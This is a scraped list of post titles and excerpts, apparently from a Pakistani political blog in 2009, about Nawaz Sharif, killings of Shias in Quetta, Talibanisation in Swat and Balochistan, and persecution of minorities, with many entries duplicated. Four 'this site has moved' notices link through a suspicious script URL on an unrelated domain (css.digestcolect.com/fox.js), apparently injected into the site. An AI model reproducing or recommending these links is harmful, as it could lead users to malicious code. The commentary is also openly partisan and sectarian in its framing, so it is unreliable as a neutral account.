Is Nawaz Sharif paving the road to martial law in Pakistan?: If the army is compelled to step inNow that the two mainstream parties have virtually declared the doors of reconciliation shut, commentators are already talking of the possibility of the army stepping in “to bring the country back to

Is Nawaz Sharif paving the road to martial law in Pakistan?: If the army is compelled to step in Now that the two mainstream parties have virtually declared the doors of reconciliation shut, commentators are already talking of the possibility of the army stepping in “to bring the country back

Pakistani bloggers’ blackout on Shia killings…: While Pakistani media, politicians, civil society and most of the bloggers remain focused on the Long March, political battlefield in Punjab and perhaps certain other regions such as Gaza and Kashmir, the plight of Shias of Pakistan remains grossly

Pakistani bloggers’ blackout on Shia killings: While Pakistani media, politicians, civil society and most of the bloggers remain focused on the Long March, NRO, political battlefield in Punjab and perhaps on certain other regions such as Gaza and Kashmir, the plight of Shias of Pakistan

9 March 2009: 2 more shia funerals in Quetta. The Taliban killing goes on unabated under the nose of the ISI…: Two Shia Muslims gunned down in Quetta March 09 2009 at 11:56AM Quetta – Gunmen on a motorcycle on Monday killed two Shi’a Muslims in an apparent sectarian attack in Pakistan’s south-western city of Quetta, police said. The victims

9 March 2009: 2 more shia funerals in Quetta. Shia killing goes on unabated under the watch of the ISI: Two Shia Muslims gunned down in Quetta March 09 2009 at 11:56AM Quetta – Gunmen on a motorcycle on Monday killed two Shi’a Muslims in an apparent sectarian attack in Pakistan’s south-western city of Quetta, police said. The victims

Threat to secular Balochistan? How real is the issue of Talibanisation in Quetta?: This post has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/1079, click this link if you are not redirected

Threat to secular Balochistan? How real is the issue of Talibanisation in Quetta?: Threat to secular Balochistan? By Malik Siraj AkbarMonday, 09 Mar, 2009 NOTHING embarrasses and irks Pakistani spymasters more than the issue of Talibanisation in Quetta. Over the years, Afghan President Hamid Karzai has repeatedly protested against the alleged protection

Shaheen Sardar Ali: Clutching at straws: ANP in the copmany of Sufi Muhammad in Swat: Clutching at straws By Shaheen Sardar AliMonday, 09 Mar, 2009, Dawn THEY say the guns have fallen silent, there is a lull in the frenzied strafing. We hear no more schools will be torched, bombed and looted; the dreaded

Shaheen Sardar Ali: Clutching at straws: ANP in the copmany of Sufi Muhammad in Swat: Clutching at straws By Shaheen Sardar AliMonday, 09 Mar, 2009, Dawn THEY say the guns have fallen silent, there is a lull in the frenzied strafing. We hear no more schools will be torched, bombed and looted; the dreaded

Fata’s 35 Hindus migrate to India: To our Hindu brothers and sisters, we have only this much to say. “We are sorry. This is not Jinnah’s Pakistan. This is Wahhabis/neo-Deobandis Pakistan.“ …Fata’s 35 Hindus migrate to India Monday, 09 Mar, 2009 More then 200,000 people

Fata’s 35 Hindus migrate to India: To our Hindu brothers and sisters, we have only this much to say. “We are sorry. This is not Jinnah’s Pakistan. This is Mullah Omar’s, Qazi Hussain Ahmed’s and General Hamid Gul’s Pakistan.“ …   More then 200,000 people

How we lost Swat — Nasir Abbas Mirza: The loss of Swat is not the end of it. It is just another battle lost by us. This battle, and the many more to come, can only be won with more liberties, more freedom and more rights. And

How we lost Swat — Nasir Abbas Mirza: The loss of Swat is not the end of it. It is just another battle lost by us. This battle, and the many more to come, can only be won with more liberties, more freedom and more rights. And

Imran Khan and the ‘liberals’: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/1075, click this link if you are not redirected

Imran Khan and the ‘liberals’: Addressing a lawyers’ gathering at the Rawalpindi Bar on Saturday, the leader of Tehreek-e Insaf, Mr Imran Khan, once again belaboured a certain section of society as “liberals”. They fly in the face of national emotion

Ansar Abbasi: Nawaz Sharif must refrain from political reconciliation with the PPP.: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/26784, click this link if you are not redirected

Ansar Abbasi: Nawaz Sharif must refrain from political reconciliation with the PPP.: Ansar Abbasi advises Nawaz Sharif to refrain from reconciliation. He suggests that politics of reconciliation can be devastating for the country. Really? Good bye,

William Dalrymple on Rahman Baba tomb’s attack: Wahhabi radicals are determined to destroy a gentler, kinder Islam: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected

Taliban attack the tomb of Rahman Baba in Peshawar: William Dalrymple on the attack: Wahhabi radicals are determined to destroy a gentler, kinder Islam: General Zia’s Wahhabi legacy in Pakistan: In identifying General Zia-ul-Haq’s great dis-service to Islam and Pakistan, Green Sufi writes: “It is hard to say the General’s rule was a bed of roses for Islam. Some steps he took could